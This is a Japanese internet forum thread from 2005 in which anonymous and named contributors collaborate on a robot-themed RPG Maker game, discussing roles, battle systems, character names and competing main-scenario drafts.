286 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 20:33:35 ID:0h4i6nq4
>>283
安易に属性とか言い出すのは危険だと思う。
実際に作るとおそらく想像するほどには面白くはならない。
夢の膨らむキーワードではあるが。

287 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 21:14:15 ID:n7w7KB5Q
>>285
8さんじゃない?

>>286
地形属性という形なら反映させやすいかも
雪原に強いみたいな

288 :ナナシェス:2005/09/11(日) 21:39:38 ID:0MCKDtC6
そうか、そうだよな。
でもツクール担当と仕切り兼任無理なんじゃないかなぁ?
緩めの仕切りでもJUNさんや俺が協力して補佐して
何とかごまかしごまかし行けないかと思ってたが、やっぱ無理が出てきてるように思う。

割れたときの最終決定などの責任者的な意味合いでは8さんとして、
実務的なまとめ役が他に必要じゃないだろうか。

ついでに俺のサイト制作&情報まとめの兼任も無理っぽい。ごめんJUNさん。
>>283-284とか俺の考えている方向性にかなり近いけど
今はちょっと手が回らない。

>属性
どちらかと言うと、耐熱・対衝撃・中の人へのダメージ大。。。。とかの属性の方があってるんじゃないかな

289 :8 ◆jS1vbFJDVk :2005/09/11(日) 21:56:41 ID:0j4DextX
制作にかまけてスレまとめを怠っていた8です。
>>262-270
いっそ開戦を終盤まで引き延ばすという手も。
戦争が本格化したところで、仲間集めやアルバイトなどで
のんびりしていられなくなるでしょうし。
このあたりは>>258で触れられている宿題提出の際に
俺なりの意見を出せると思います。
>>271,277
激しく乙。そしてカタールGJ。
しかし改訂版でも格闘が圧倒的に不利な気がします。
もう少し走る速度早くなりませんか?

それにしてもクオリティ高いですね。
これをツクールでどこまで再現できるか、
今の俺には自信がありません。スマソ

>>283,286-287
属性に関しては俺もいろいろ考えていますが、
魔鉱石を絡めるといかにも魔法になってしまうので
ちょっと望みは薄いと思います。俺個人の見解として。

290 :8 ◆jS1vbFJDVk :2005/09/11(日) 22:10:23 ID:0j4DextX
おっと。
>>288
現状でまとめ兼任は、確かに厳しいですね。
ツクールに集中したいというのもありますし。
ひとまず後継者が現れるまでは俺がまとめますが、
なるべく早く交代をしたいところです。

291 :ドリームリーダー763:2005/09/11(日) 23:39:29 ID:ccjosgL1
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi10351.zip.html
改訂。
多分今日は最後
カタール一本装備で敵機2機撃破可能
移動速度と敏捷性を大幅に上げて軽量格闘機=ギャンブル機体になった感じ
転倒すると回避できないので注意

292 :JUN:2005/09/13(火) 01:17:41 ID:x7g5NXZt
俺が既出アイディアをまとめてやるぜ!!
と思って作業したけど挫折orz
こんなに大変な作業だとは思わなかった...これは一人では無理だ...

ということで8さんorナナシェスさんに提案なのですが、
こんな時こそまとめサイト掲示板の出番ではないでしょうか。
とりあえず要らないスレを廃棄して、

<キャラクター>
<中核シナリオ>
<サブシナリオ>
<戦闘関連>
<その他システム>
<その他>

のスレに、名無しの発言を転載、見やすくならべる。
新規参加者がアイディア出したいときは、そこを参照することにする。

今迄の291レスを一人でまとめるのは至難の業ですが、これから出たアイディアをまとめるだけなら、皆で手分けすればできる...はず
どうでしょう

293 :名前は開発中のものです。:2005/09/13(火) 01:29:03 ID:GWhgM7Ur
結局各コテの役割どうするの?
まとめ、仕切りはハッキリさせないと、誰が何をすべきかわからん
このままいくとまた過疎る。負のループ再びですぜ。

音楽のJUNさんにまとめや仕切りを自発的にやってもらってる現状を見て
1や8はボケーっとしてるだけなのかーかー

294 :名前は開発中のものです。:2005/09/13(火) 17:27:32 ID:L0Od+IBk
個人的には、JUN氏に仕切りを続けて欲しいなあ
少なくとも1よりは仕切りのスキルがあると見た

>>292の方法も悪くない。
コテにばっかり任せてないで、名無しも動こうぜ。
自分でふったネタを自分でまとめる努力くらい、してもいいだろ?
それが採用へ繋がるんなら、なおさらだ。

8、1、この方針はどうなのよ








295 :111:2005/09/13(火) 21:49:46 ID:CxiUDidv
>>292
昨日から1スレから読んでみたが
ハンパない数のアイディアですもんね。
それを1人でまとめるには時間がかかると思うので
皆でやるのには賛成。

で、掲示板でやるよりwikiでやった方が
見やすくていいかもねぇ〜
まぁ個人的には嫌いなんだけどねぇwiki


使えるか分からんがトイレに入って思いついたキャラ
レイット&ペッパー
ペッパーは辛口のお姉さま。怒りっぽい上に短気。
「おぉーほっほっほvまた合ったわねおチビちゃん〜」
さり気なく体が弱い。勘違いが激しくボケ担当。

レイットはひょろい兄ちゃん。弱気、貧弱、
「ねぇどうしよう、ペッパ〜!?」が口癖のよう。
冷静にペッパーに突っ込みを入れるが、ペッパーの張り手が飛ぶ。
しかし、ペッパーが倒れてたり気を失ってしまうと
怒りで我を忘れ暴れまくる。

主人公がクエストが行うクエストによく出くわす。
同じようなクエストを狙ってるので頻繁に争いになる。

イメージ的にロケット団。


296 :名前は開発中のものです。:2005/09/13(火) 21:51:17 ID:BGbug1E4
>>295
ああ、便所の実装は必須だよな
便所の落書きに意外なヒントとかな

297 :8 ◆jS1vbFJDVk :2005/09/13(火) 22:05:12 ID:S3KWPmtc
>>292-294
確かに、サイトの掲示板を使えば
名無しさんでもまとめ作業ができますね。
とりあえず、シナリオスレの整理をしておきました。
JUNさん>294さんありがとうございます。
>>293
後手後手でスマソ
ネタまとめは個人個人で、掲示板管理は俺が。
スレ仕切りはJUNさんナナシェスさんと俺の
3人体制ではどうでしょうか?
>>295
さっそくまとめ板に転載しました。GJ。
>>296
コンコン「入ってます」もありですよね。
あんまり下品にならないようやってみます。

298 :名前は開発中のものです。:2005/09/14(水) 02:36:11 ID:/eruo5oP
>>コンコン「入ってます」もありですよね。
マザー2を思い出すなぁ

299 :zk:2005/09/14(水) 19:14:33 ID:Th5jmupu
トイレの壁にレアなアイテム(カード)を手に入れるためのヒントとか
誰かからのメッセージが全国のトイレにあるとか。

300 :JUN:2005/09/14(水) 20:10:50 ID:YAO8AYzI
8>>
了解です。出来る限りがんばります。
しばらくはネタ出しの方向でゆきましょう。

皆さんの、トイレへの愛を感じます...
もう、トイレだけで一つシナリオ作れませんかね?

301 :ナナシェス:2005/09/14(水) 22:40:06 ID:h/5jBXOU
アルウェンってぐぐったらLotRかよ 無意識パクリって怖いな OTL
誰か名前考えてくんろ。ガイドラインは

・普通苗字だけど名前に使ったりはアリ。
・普通女性名だけど男性(ry
・(現実での)国籍等は考えない
・既存作品の造語と思われる名前はナシ

302 :名前は開発中のものです。:2005/09/14(水) 23:03:17 ID:tgSVWFgF
どれとも被らないってのはいまさら無理だと思う

関係ないけどロボットRPGて言えばツクールで炎帝セイバーってのがあったな
あれは結構面白かった

303 :8 ◆jS1vbFJDVk :2005/09/14(水) 23:51:15 ID:pKDnHAQx
トイレ関連をまとめ板に転載。そしてトイレ実装決定。
>>300
というわけでこれからもお願いします。
ネタが増えてきたので実装を急がねばならない身、
まとめる人がいてくれるのはすごく助かります。
>>301-302
無意識パクリはスレで指摘されると思うので、
あんまり物怖じせずにネタを出すのがいいと思います。

304 :名前は開発中のものです。:2005/09/15(木) 00:36:27 ID:LBXa4Yj2
>>301
他作品と被るのはある程度仕方ないと思うが
どうしてもアルウェンが嫌なら参考程度に、と思って
女性名を少し書き出してみた。が、途中で飽きた('A`)スマネ


アストルート
べナジール
ドーン
ゲイル
ジーン
ジェルヴェーズ
ケレスティン
シンクレア

305 :名前は開発中のものです。:2005/09/15(木) 01:44:18 ID:CN57X+y3
俺も書き出してみた
メーメルリー メッジ イフトス ゴートン メルフ コッフ ニーニス マスゥ
ロー・ロー ボック レンテル ベジゲジ ペルゼイ ユグノウ ターレ パルー
ウィント ビノス レンマ グイノフ メオ ルフ ベルンマ リント コトル モードリー
ハードリーン サートナット レーデルゲーン ヴィストンクス ジェイアロットジェイノス
ほとんど女には使えんな

書いてて思いついた
物知り爺さんコーデェン
それはもう広辞苑のごとく知識が

306 :JUN:2005/09/15(木) 20:45:24 ID:y6tDXmhx
>>304>>305
GJ!これだけあれば、暫く名前には困らなさそうですね。

8さん他、今日チャットできませんか?

307 :ナナシス:2005/09/15(木) 21:00:43 ID:d7G4qeSQ
せっかく出してもらってアレだが、
俺の中の小人さんが「じゃあアルウィンとかアルヴィンでよくね?」とか言い始めた
しかしこれから名前はいくらでも必要になるからいずれ使わせてもらいます。d

コーデェンいいね。由来に気づくか気づかないか、極めて微妙なラインなのが
個人的にツボ。妻はダージリンかな

チャット了解。できれば早め開始早め終了キボン

308 :JUN:2005/09/15(木) 21:22:34 ID:6b3uQ7Uk
では10時ごろどうでしょう
すぐ済みますので

309 :8 ◆jS1vbFJDVk :2005/09/15(木) 21:41:58 ID:URLwMDYl
>>304-305
GJ。この中から適宜に拾って使わせていただきます。
>>306
了解です。

310 :名前は開発中のものです。:2005/09/16(金) 17:31:43 ID:fgkEnB/R
名前以外はどんなネタを募集中?
文字だけならどんどん支援するよ

311 :ナナ:2005/09/16(金) 21:03:00 ID:HJVSZegX
戦闘システム関係の妄想
ろぼだま関係の妄想(参考に、これ関係のチャットログがまとめ板にアリ)
シナリオ関係の妄想(どちらかというと小ネタより本筋)

こんなとこかな

312 :名前は開発中のものです。:2005/09/16(金) 21:12:22 ID:8vl9QdiW
多分だけど、
「こんな戦闘システムにしたい から こーゆー設定、こーゆーシナリオにしよう」とか
「こんなシナリオにしたい から こーゆー戦闘システム、こーゆー設定にしよう」とかしたほうが、
話は進めやすいと思うよ

313 :名前は開発中のものです。:2005/09/16(金) 21:46:34 ID:8vl9QdiW
まーなにをいいタイかというと、目的をはっきり汁!ってこと・・・

314 :名前は開発中のものです。:2005/09/16(金) 21:47:08 ID:ij2t8lBN
とりあえず、上のほうで世界観について意見がでてるじゃん。魔法とか。
8氏にあれをまとめてほしいな。
そろそろ、世界観についての統一見解が欲しい。

315 :名前は開発中のものです。:2005/09/16(金) 22:12:05 ID:2bFWv0+C
クエスト形式はもう募集してないのか・・・

316 :名前は開発中のものです。:2005/09/16(金) 22:20:04 ID:4ghpEN4y
クエストは一本道+サブシナリオ沢山 で決定じゃない?

317 :ナナシェス:2005/09/16(金) 22:21:06 ID:HJVSZegX
してないわけじゃないよ。
ただ本筋は

歴史の流れ:帝国が大陸統一
主人公たちの目標:ロボット作る

しか決まっていない状態。戦闘システムの問題もそうだが、
全てにおいて枝葉に骨子が遅れているという状況。

それと正直、ぶっちゃけると今一番ほしいのは明確な労働力。
ゲーム作りは労働に他ならない。

318 :名前は開発中のものです。:2005/09/16(金) 22:23:51 ID:4ghpEN4y
労働っつーと、何をすれば良い訳?素材作り?

319 :テiテiテVテFテX:2005/09/16(金) 22:27:15 ID:HJVSZegX
たとえば情報まとめをして欲しいじゃなくてする、
具体的なシナリオを書く、
戦闘の仕様を詰める、
素材を作る

とかそんな感じかな。まとめがグダグダなことは十分承知しているし改善したいが、
そんな労働力がどこから出てくんねんという話。

320 :名前は開発中のものです。:2005/09/16(金) 22:36:53 ID:+71LhLul
ナナシェスは本当に素人だなぁwww

321 :名前は開発中のものです。:2005/09/16(金) 22:57:36 ID:eFPFO5gU
>>319
仕切り屋がいないと迷走するもんだ。
○○担当と決まったのならそいつに決定権を与えよう。

322 :サガベ ◆ULFoMaooII :2005/09/17(土) 00:40:06 ID:VitITksj
ほれ、これを使え。 要望あればサイズ上げるよ。
ttp://michi.sakura.ne.jp/up/src/rpg0677.zip

323 :8 ◆jS1vbFJDVk :2005/09/17(土) 01:15:48 ID:EdJCwtDh
やることが多くて制作に専念できない状態です。
>>310-313
そうですね、シナリオや設定とシステムを
セットにして提案すると、わかりやすいと思います。
>>314
ttp://www.geocities.jp/robotrpg2ch/world0.txt
穴だらけ丸投げな設定ですが、俺にはこれが精一杯です。
>>315
クエストそのものはやるつもりなので、どんどんどうぞ。
>>318
ツクールでの制作のことだと思います。素材もそうですが…
こればっかりはどうしようもありませんよね。
>>322
トリップ&労働力乙。

324 :zk:2005/09/17(土) 13:15:36 ID:4ZAdQ4eX
>>323から考えると、・帝国製のロボットは性能が高いが高価
             ・宗教国は鉱石が豊富なので基本的には安価
             ・中立国はなんともいえない

ってかんじ?

あと、組み上げたろぼだまに魔鉱石の力を加える新技術・・・とか新技術と旧技術の区切りがあるといいと思う。

325 :名前は開発中のものです。:2005/09/17(土) 13:44:52 ID:jRPxUUQ7
なんで貝なのかっていうネタは考えてあるの?
脈絡も無く貝っていうのはちょっとギャッグっぽいんじゃあるまいか

326 :名前は開発中のものです。:2005/09/17(土) 16:37:40 ID:+zyGUIQ4
貝ワロタ
なんか牧歌的だなあ
やっぱり、なんで貝かの説明が欲しいね。

でも独特の雰囲気があっていいと思う。
主人公の家は貝料理店とか

327 :名前は開発中のものです。:2005/09/17(土) 16:59:08 ID:goJMz4JC
動力とろぼだまを別の存在にするのには反対だな。
パイロットとロボットにリンクする不思議なセンサーにして動力。
魔鉱石とか出てくるとろぼだまそのものの価値が下がるから
普通の「鉱石」でいいんじゃない?

328 :名前は開発中のものです。:2005/09/17(土) 18:46:59 ID:CwewvhE3
>>327
不思議アイテムは一つで良いよな。

なんか海底二万マイルというかナディアというか...そんな雰囲気だ

329 :ドリームリーダー763:2005/09/17(土) 21:19:39 ID:Uqo/UCGI
8さん等
今日10頃よりチャットをしたいのですが大丈夫でしょうか

330 :8 ◆jS1vbFJDVk :2005/09/17(土) 21:55:44 ID:aZZo3C9V
>>325-326
なんで貝かというと、貝殻の内側が
いろんな色に見えたりするのが
電子回路の基板に似ているかな、と。
あとは深く考えないで書きました。だが私は謝らない。
>>327-328
不思議アイテムの数もそうですが、まずは
「魔鉱石」って呼び方をそろそろ変更しましょうか。
>>329
少し遅れます。

331 :名前は開発中のものです。:2005/09/17(土) 22:02:06 ID:goJMz4JC
貝ネタは封神演義やワンピとかの影響なんだろうけど
何にしても不思議アイテムが多すぎで魔法を禁止した意味がなくなってる
ドリルとかの格闘戦がまるで期待できなくなってるよ

332 :名前は開発中のものです。:2005/09/17(土) 22:22:07 ID:jRPxUUQ7
普通にFF7の魔石システムに似たようなカンジで良いのでは?
ロボ(基本能力)+魔石(オプション)みたいなかんじで、基本能力は低いけど魔石は沢山つけれるとかその逆とか。
魔石に相当するのが魔鉱石でもなんでもいいんじゃないかね。
ある種の宝石は魔鉱石と同じ働きをするとかで、主人公がたまたますごい真珠もってるとかでもよいかも新米

333 :名前は開発中のものです。:2005/09/18(日) 00:21:34 ID:BLCGsGl7
それなら別に魔鉱石じゃなくても回路だのOPパーツだのにした方が説得力があるんだが。

334 :名前は開発中のものです。:2005/09/18(日) 00:35:29 ID:E+nlXFWG
まー別にそれでもええんでないだろーか

335 :名前は開発中のものです。:2005/09/18(日) 12:14:29 ID:ZSfsuhw/
>>323
色々考えたけど、これが一番すっきりしてていいんじゃない?
貝は、不思議アイテムというよりも天然物を使ったローテクのような感じがする。竹を使ったフィラメント、みたいな
ガッチガチに設定を考え込んだボトムズ的なのよりも、こういう雰囲気の方が好きだな。夢があって。

(作れるかどうかは8さんの腕にかかってるけど)シェルシステムとも合致してるし。

>>332みたいに、良いシェルはたくさんスキルを付けられる・上位スキルを付けられる・ステータスが上がる みたいのでもいいかもね。
真女神転生3みたいのを想像した

戦闘システムを考えたいんだけど、よければシェル周りのシステムとか、戦闘の構想を聞いてみたいです。

336 :名前は開発中のものです。:2005/09/18(日) 13:38:20 ID:ZSfsuhw/
メインシナリオを考えた

<ゲーム開始前>
帝国は卓越した機械技術を持っているが、機械を作る為の素材(鉄や貝)の入手は他国からの輸入に頼っていた。
一層の技術発展や大陸外への進出を実現させる為には素材の安定・安価供給を実現させなければならない。
自然国から採れる鉱物(ロボの装甲を作る鉄やレアメタル)、中立国から手に入る貝(シェル)を狙って、武力行使を含む強行な外交を始める。
これに自然国が猛反発し、大陸全土を巻き込む戦争が始まった。

二国は、陸地に切り込んだ海を挟んで向かい合った位置にある。
海上を侵攻すれば一早く察知されるし、主戦力であるロボットを海運するするのには限界がある。撃沈された際のデメリットも大きいため、
早くから海は、互いに監視と牽制をし合う非戦地域となった。
陸路を確保するため、戦火は中立国、宗教国に及ぶ。

強力な軍を持たない中立国は早くから帝国と同盟を結び、安全な陸路と補給の確保を引き換えに、対等な交渉権と国内の安全=常駐軍を得た。
帝国は一気に大陸の西半分を獲得する事となる。

一方自然国は、宗教国の深い森に阻まれて思うように進軍することができなかった。
自然の防備を備えた宗教国は戦争に無関心で、自然国に与する事も無かったのである。
停滞する自然国。帝国はじわじわと森を征服し、自然国に迫りつつあった。
敗北を予期した自然国は、終戦協定を有利に運ぶ為、最後の抗戦に出ようとしていた-―-

337 :名前は開発中のものです。:2005/09/18(日) 13:39:46 ID:ZSfsuhw/
<ゲーム開始時>
☆主人公が旅立つ

自然国は完全防備の体制に入る。
日々激しくなる帝国の戦火に耐えながら、自然国が狙っていたのは「海からの奇襲」
密かに開発していた超弩級戦艦一隻に最大の戦力を投入して、
南から大きく回り込んで帝国南の諸島を足がかりとし、一挙に首都に攻め込もうという作戦だ。

南の海は複雑な潮流や凶悪な海棲生物のため、安全な航行は不可能と思われていた未踏の地である。
だが、ここを突破しさえすれば、一気に帝国本土へ侵攻できる。
数世紀もの間、自然と渡り合う術を模索してきた自然国ならではの、最後の冒険であった。

<中盤〜終盤>
☆主人公は色々な冒険をして、様々な人々と出会う。
 強制イベントで北へ北へと向かい、最終的に宗教国の前線までたどり着く。(人に着いていったとか、木こりのバイトとか)
 運良く自然国のおえらいさんを助けたりして、自分の故郷の島が奇襲の足がかりになるという情報を得る。
 一路、島へ戻る主人公。
 島では巨大海棲生物の死骸が浜に流れ着いたりして、自然国軍が迫ってきている予兆を見る。
 そこで降伏するか、戦うか、自然国のコネに訴えるか、逃げるか...それは主人公の選択次第。
 ここで一度だけ、主人公は戦局を変えうる存在となる。
 自然国軍は、主人公達に敗れて完全敗北するのか?
 主人公の島は見逃すが、奇襲は成功するのか?
 島を制圧してシェルの重要産地を押さえ、帝国と渡り合うのか?
 すべては戦いの末、決まること-――

338 :名前は開発中のものです。:2005/09/18(日) 13:40:54 ID:ZSfsuhw/
<エンディング>
終戦。
自然国は何らかの形で帝国と和平を結び、大陸には一時の平和が訪れる。
中立国には帝国軍が駐屯する事となり、後々の禍根となるだろう。
帝国が大陸を制覇したからには、もはや宗教国も無関心では済まされない。案外、戦争の裏には宗教国が絡んでいたり...?
そして、疲弊しきった帝国と自然国はこれからどうなるのか。
膨らみきった帝国の軍事力は、官民を圧迫する事になるかもしれない。
大陸の外の世界を知った自然国は、その先へと冒険を始めるのか。
それは、ろぼだま2に期待w

☆戦争を通じての出会いや別れ。
 成長した主人公は、新たな道を歩き始める。


「ツクールで作れるサイズ」を考えたら、このくらいの長さがちょうどいいかなあと。
叩き希望。

339 :nana:2005/09/18(日) 16:56:26 ID:5bYdMoi6
>戦闘システムを考えたいんだけど、よければシェル周りのシステムとか、

8さん案をちょっと複雑にしたような感じだけど、
僕が実装に挑戦しているのはこんなんです
http://www.geocities.jp/robotrpg2ch/chip.txt
下から上へ。

340 :名前は開発中のものです。:2005/09/18(日) 19:57:13 ID:8vO9XPaH
>>336

もうこれでいいんじゃない?過不足なくまとまってて。
主人公の最終決戦の動機は、とてもすっきりしてて良いと思う
あとは、七人の聖者とかをどう絡ませていくか かな

>>339
DDS2のマントラフローみたいなもん?

>> 状況に対する即応性がないこと
これは、ロボだから武装で対処するほうがいいんではないでしょうか。
対火炎パネルをたくさん買って装備とか。
弱点を克服する為には金と重量の増加が必要というように。

341 :名前は開発中のものです。:2005/09/18(日) 20:03:15 ID:FkxpuXPO
>>340
> 七人の聖者とかをどう絡ませていくか
俺たちの戦いはこれからだ!!!
(ゲ製作技術先生の次回作にご期待ください)

342 :zk:2005/09/19(月) 12:53:22 ID:8YcdkYzf
耐火炎パネルってことは当然火炎系の攻撃があるってことですよね・・・。



343 :8 ◆jS1vbFJDVk :2005/09/20(火) 00:34:43 ID:JLsZQ5YT
ちょっと実装遅れ気味。とりあえずトイレだけ。
ttp://www.geocities.jp/robotrpg2ch/g/drive16.zip

>>331-333,335
序盤は粗悪シェルしか市場に出回ってないけれど
サブシナリオや戦利品では良品が手に入るとか。
戦闘システムについては、またテキストでまとめるので
もうちょっと待っていてください。
>>336-338
大きな流れとしては、特に問題ないシナリオだと思います。GJ。
最後の最後だけなら、マルチ展開でも問題なさそうですかね。
超弩級戦艦一隻で戦況が変化するかもしれないというなら、
「弱者の味方」夕凪の姉妹団がどう動くかも気になります。
>>339-340
俺も、ブロックは回転できない方がいいと思います。
ブロック配置スペースはグレードアップのときに
どこをどのくらい空けるか指定できるとか、
耐性については>>340さんのとおり、
チップではなく装備で対応するようにしたら
それらしくなるんじゃないでしょうか。
>>342
どんな攻撃と耐性が採用されるかはこれからの話ですので、
あまり深く考えてもしょうがないかと。

344 :JUN:2005/09/20(火) 01:05:07 ID:K/N9rslT
>>336
GJです!
叩き台が挙がって、8氏の見解も出ましたので、このへんでメインシナリオについて色々出しましょう。
>>336は初めて出たシナリオの全体像(案)なので、これについての意見を聞きたいです。
見た感じ設定に破綻も無く、ラストもすっきりしてるので、これをベースに足したり引いたりして、最終的なシナリオを完成させたいなと。

このシナリオでは大局的な戦争のもようが書かれてますが、まずこれに異論はあるでしょうか?簡潔にまとめると
1)帝国のわがままに自然国が反発
2)帝国と中立国が手を結ぶ 自然国あぶない
3)自然国が最後の仕返しをしようと目論む
4)主人公は故郷を守るため、自然国の決戦兵器とたたかう
という感じになります。

私としては、ゲームの中で見せる戦争模様はこの程度で良いだろうと考えます。
これ以上複雑な戦史をつくるより、人間ドラマを考えた方が面白いかと。

最後の戦いはとてもスッキリまとまってて良いと思いますが、他の終わらせ方(戦う相手)について、何か意見はありますでしょうか?
既出の意見をまとめると
・天下一武道会や、No.1の賞金稼ぎを目指す(戦争には加わらない)
・義理人情や恋愛のため、村一つを守る
・厳しい戦争に挫折し、なんでも屋を目指す
こんな感じです。

たくさんの意見をお待ちしております

345 :名前は開発中のものです。:2005/09/20(火) 11:59:59 ID:OkudE0l7
>>343
トイレで男が出てきた後上しか向けなくて横とか調べられないんだけど

346 :名前は開発中のものです。:2005/09/20(火) 13:11:04 ID:an432NsX
>>344
スッキリしすぎて全然燃えない。つまらん。
最後は、主人公と因縁のある敵と戦わないと盛り上がらなくね?

347 :BJ:2005/09/20(火) 15:38:26 ID:NaOyhgHU
今までみてるだけでしたがストーリー案を初カキコしてみます
主人公は田舎町に母と住み父親は離婚して帝国で技術部門で働いている
母が死にそれを伝えに昔父親の作ったロボの残骸を直して帝国に行くのだが
父に姉が自然国に拉致されたと聞き助けだす旅にでる
途中帝国軍兵のやり方に疑問をもちつつも自然国についた主人公は姉がいない事を知るが…
その時、父が新システムの試験を兼ねて自然国の近くの村に攻めてくる
父の駆る機体のあまりの強さに驚く主人公は新システムのメカリズムを父に知らされる
怒りに燃える主人公は帝国を倒そうと自然国軍に入隊しろぼたま2につづく
(父の駆る試作ロボがラスボスで撤退したところで終わり1は世界観を理解するために適度な敵とクエスト重視)
2では新システムへとなった姉の脳を葬るために戦うストーリー
・こんなとこでどないやろうか?


348 :名前は開発中のものです。:2005/09/20(火) 15:47:44 ID:G825zh0k
ガンダムがやりたいのか、ガオガイガーがやりたいのか?

349 :名前は開発中のものです。:2005/09/20(火) 15:57:25 ID:JrIrJO9j
厨クセー

350 :名前は開発中のものです。:2005/09/20(火) 16:02:46 ID:QaQ3vhha
>>347
乙なのだが、今迄の案とは完璧に路線が違うと思う。
あくまでも旅立ちは夢を追うため、戦いは小スケールの個人的なものに
したいなあ。

怒りに燃える主人公てのは、なんか違うような...
あと、一応1で完結する話のほうが良いと思う。っていうか、絶対
2は作れない。

>>344
ベタだけど、自然国の青年将軍と仲良くなるってのはどうだろう。
上陸前に現地の偵察に来たところで、主人公と出会うの。

351 :名前は開発中のものです。:2005/09/20(火) 16:21:28 ID:G825zh0k
将軍が偵察に来るわけが無い

352 :zk:2005/09/20(火) 16:33:14 ID:A651gWvs
偵察は兵士の仕事・・・。


353 :名前は開発中のものです。:2005/09/20(火) 16:45:09 ID:QaQ3vhha
っていうかこの案だと、自然国の人間は帝国の最南端の島には来れませんね

354 :nana:2005/09/20(火) 20:10:50 ID:1PDSHK43
>>347
感想

研究のために娘を犠牲にする狂気の技術者、というのは悪くないが
どこかのクエスト内でもいいかなという気もする。

冒頭で島を出るに足る明確な理由があるのはいい。
夢を追うってのは戦時中に肉親と離れて旅をする理由としてはちょっとアレ過ぎるし、
曖昧すぎて話が回しにくい。

やっぱスタート時点ではかなりの小康状態もしくは休戦中のほうがいいのかな。

あくまでも個人的な感想です。評価とかじゃありませんのでよろ

355 :名前は開発中のものです。:2005/09/20(火) 20:40:38 ID:nnJ7qosu
>>夢を追うってのは戦時中に肉親と離れて旅をする理由としてはちょっとアレ過ぎるし、
これはずっと思ってた...ちょっと呑気すぎ?
南の海が危険っていう設定なら、主人公の島に戦争の影が無いのも解るが

ラストは自然国の最終兵器〜でいいから、スタートをもうちょっと練り込んだほうが良いのでは?



356 :名前は開発中のものです。:2005/09/20(火) 20:41:42 ID:6YcT1aLc
主人公と戦争がオープニング終了と共によーいドンとなると話がだれる
戦争そのものは世界が経験してなきゃ主人公はどの猛者と戦えばいいの?ってなるよ

357 :名前は開発中のものです。:2005/09/21(水) 05:16:53 ID:3XJRKRCp
主人公の住んでる所が平和だっていう設定を利用して、
大陸南側は平和、北側は危険っていう構図を作り(戦争から切り離された、平和な土地のイメージを作る)、
最後にそれを壊して南側を危険に晒せば面白い構図が出来ると思う。

358 :名前は開発中のものです。:2005/09/21(水) 14:50:58 ID:eL1KNd2e
設定は大河ものなのに、話の本筋がこじんまりしてるのがアンバランスかな

359 :名前は開発中のものです。:2005/09/22(木) 18:00:06 ID:t93fUfoT
メインシナリオどれくらい出来てるの?

360 :名前は開発中のものです。:2005/09/22(木) 20:50:18 ID:E2WGMR9w
1から全部焼きなおしなので0

361 :111:2005/09/22(木) 21:21:36 ID:M1GnHvLR
なんとなく本筋の導入部(ロボに乗るまで)が
しっくりこなかったから考えてみるよぉ
どっかでその歳で親元を離れるなんて・・・
とか書いてあったので、いっその事2人とも
孤児院で育った設定にすりゃええやん!的に妄想を膨らませてみたよー

・主人公と親友は孤児院育ち。
・院長は夕凪の姉妹団の団長とは対照的でおっとりとした神父さん
・ある時孤児院に地上げ屋のロボが襲撃。
 『金だせねぇならこいつら売っぱらっちまうか』と、
 ロボが子供達に手を出そうとした時に、銃声。
 その瞬間、ひざを着くロボ。
 少し遠くにいるもう1体の銃を構えたロボ。
 『おいおい、ガキどものお守りにそんな手じゃゴツすぎるぜ?』
 『ひぃー覚えてろよー!!』
 『一昨日来やがれってんだ!』
 ロボから降りてきたのは孤児院を出てった、あんちゃん。
 このとき2人は始めて間近でロボを見せてもらう。
  (島には数体のロボがいるが、ガキだからよく見せてもらえてなかった。)

・戦い後、院長とあんちゃんが話しているのをたまたま2人が聞いてしまう。
 『うちの孤児院もお金が足りなくなってきて今回みたいな
  輩が来るようになってしまって・・・』
 『金かぁ〜俺みたいなロボ乗りは、ロボに乗ってりゃ金は入ってくるしなぁ〜、
  ちょっと気持ばかりだが少額置いていくぜ。』
 小切手を見る院長『!』
 『こんなにいいんですか!?』
 『まぁ金なんて腐るほどあるしな。』
 実はそんなに金持ちではなかったが、
 かっこつけてるあんちゃん。

362 :111:2005/09/22(木) 21:22:46 ID:M1GnHvLR
・ロボ襲撃から数日後、
 『元気でなー』とあんちゃんは島を出て行った。
 ロボに興味を持った親友が模型のロボを作り出す。(15cmぐらいの)
 最初は1歩歩いただけでも転んでしまうほどの出来。
 そこで、主人公が出てきて2人であーだこーだやって何とか歩くように。
 『っすげぇ!!ちゃんと歩いた!
  いつかはあんちゃんみたいなロボを作りたいなー!』
 『じゃあ、そのロボに一番最初に乗るー!!』
 それから親友はいろいろな物を作り出し、
 島だけは飽き足らず、大陸へ。

・数年後
 鳥が来てドカーンで大陸に行って親友に再開。
 最初のうちロボを使う目的は孤児院への仕送り。
 親友のいる町の周辺でクエストをし、あっという間に仕送り達成。(意外と儲かった)
 『初めて島出てきてみて、この町でいろんな発見や凄いものを見た。
  島出る前の自分には想像も付かなかった世界だ。』
 『きっと、この町だけじゃないぜ。すごいのは。
 この町の外にはもっとすごい物があふれかえってるぜ!』
  ⇒世界を旅して回ることを決意


1スレから読んみたけど、凝縮しまくりんの内容だな
2スレの半分程度までしか読み進めねぇ
どうでもいいけど、前に出したペッパーとイレットは
トイレットペッパーをもじったのをどれぐらいの人が分かったのかなぁ・・・

363 :名前は開発中のものです。:2005/09/22(木) 22:17:35 ID:E2WGMR9w
>>362
ベタだけど(・∀・)イイ!!そういう熱いのが好き。

364 :名前は開発中のものです。:2005/09/22(木) 23:02:19 ID:8CqGnpMq
>>362
GGGGJJJJJ!!!!
サイコー!

アニメっぽく、話ごとにアイキャッチが出るようにして
2、3話あたりで回想編として出したら良いと思う。ベルセルク方式。

365 :8 ◆jS1vbFJDVk :2005/09/22(木) 23:06:17 ID:5yV8yG4y
ずっと覗けなくてスマソ。多忙。
>>345
報告サンクス。修正しておきます。
>>347
俺ちょっと姉属性とか脳萌えとかないから却下。
続編も作れないだろうから、その点でも却下ということで、
心意気だけ受け取っておきます。乙。
>>361-362
孤児とか考えてなかったので新鮮ですね。
展開としてはすごくベタで懐かしくて気に入ってしまいました。
名前の件はみんな気づいていてスルーしてるんだと思います。

まだまだシナリオ案募集中。

366 :JUN:2005/09/22(木) 23:39:22 ID:8CqGnpMq
新規投稿しやすいように、シナリオ関係まとめときます

★メインシナリオ案1 おおまかな戦争の流れ(これに足したり引いたりしてシナリオを作る予定)
>>336-338
(意見)
・スッキリしすぎて燃えない。最後は主人公と因縁のある敵と戦いたい。
・主人公と、偵察(?)に来た自然軍の将軍が仲良くなって、最後の戦いでその因縁が云々
・スタート時、島を出る明確な理由が欲しい。スタートをもうすこし練り込みたい。
